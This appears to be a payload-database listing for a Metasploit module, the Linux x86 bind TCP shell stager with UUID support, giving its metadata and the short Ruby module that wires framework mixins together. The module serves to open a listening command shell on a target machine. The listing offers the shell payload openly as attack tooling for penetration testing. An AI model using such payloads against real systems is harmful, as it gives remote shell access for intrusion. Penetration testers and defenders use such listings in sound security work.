Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)

2015-05-15T02:27:25
ID MSF:PAYLOAD/LINUX/X86/SHELL/BIND_TCP_UUID
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/linux/bind_tcp'

module MetasploitModule

  CachedSize = 155

  include Msf::Payload::Stager
  include Msf::Payload::Linux::BindTcp

  def self.handler_type_alias
    'bind_tcp_uuid'
  end

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Bind TCP Stager with UUID Support (Linux x86)',
      'Description' => 'Listen for a connection with UUID Support (Linux x86)',
      'Author'      => [ 'skape', 'egypt', 'OJ Reeves' ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Arch'        => ARCH_X86,
      'Handler'     => Msf::Handler::BindTcp,
      'Convention'  => 'sockedi',
      'Stager'      => { 'RequiresMidstager' => true }
    ))
  end

  #
  # Override the uuid function and opt-in for sending the
  # UUID in the stage.
  #
  def include_send_uuid
    true
  end
end